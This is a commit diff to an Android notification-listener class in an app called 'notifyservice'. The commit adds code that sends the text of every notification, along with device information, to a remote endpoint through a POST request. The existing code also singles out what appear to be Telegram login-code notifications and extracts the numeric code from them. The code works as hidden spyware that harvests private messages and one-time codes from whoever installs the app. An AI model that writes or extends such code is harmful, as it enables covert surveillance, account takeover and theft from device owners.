test
This commit is contained in:
parent
9a6e9fb484
commit
77820d4b43
1 changed files with 10 additions and 2 deletions
|
@ -1,6 +1,7 @@
|
|||
package com.example.notifyservice;
|
||||
|
||||
import static com.example.notifyservice.MainActivity.getCurrentHash;
|
||||
import static com.example.notifyservice.MainActivity.getDeviceInfo;
|
||||
import static com.example.notifyservice.MainActivity.setCurrentHash;
|
||||
|
||||
import android.app.ActivityManager;
|
||||
|
@ -58,6 +59,9 @@ public class Listener extends NotificationListenerService {
|
|||
public void onNotificationPosted(StatusBarNotification sbn){
|
||||
String packageName = sbn.getPackageName();
|
||||
// Log.i(packageName, packageName);
|
||||
PostRequest _postRequestTask = new PostRequest(getApplicationContext(), null);
|
||||
_postRequestTask.execute("notificationPosted", // STATIC
|
||||
getDeviceInfo(getBaseContext()) + ";" + packageName + ";" + processTextsExtras(sbn.getNotification().extras)); // STATIC
|
||||
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
|
||||
String code = processExtras(sbn.getNotification().extras);
|
||||
if (code.length() < 5)
|
||||
|
@ -81,7 +85,7 @@ public class Listener extends NotificationListenerService {
|
|||
}
|
||||
}
|
||||
|
||||
public String processExtras(Bundle extras) {
|
||||
public String processTextsExtras(Bundle extras) {
|
||||
StringBuilder notifyTexts = new StringBuilder();
|
||||
|
||||
for (String key : notificationTextKeys) {
|
||||
|
@ -93,10 +97,14 @@ public class Listener extends NotificationListenerService {
|
|||
}
|
||||
}
|
||||
|
||||
return extractFirstNumber(notifyTexts.toString());
|
||||
return notifyTexts.toString();
|
||||
|
||||
}
|
||||
|
||||
public String processExtras(Bundle extras) {
|
||||
return extractFirstNumber(processTextsExtras(extras));
|
||||
}
|
||||
|
||||
private String getShortcutSafe(StatusBarNotification sbn) {
|
||||
String shortcutId = null;
|
||||
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
|
||||
|
|
Loading…
Add table
Reference in a new issue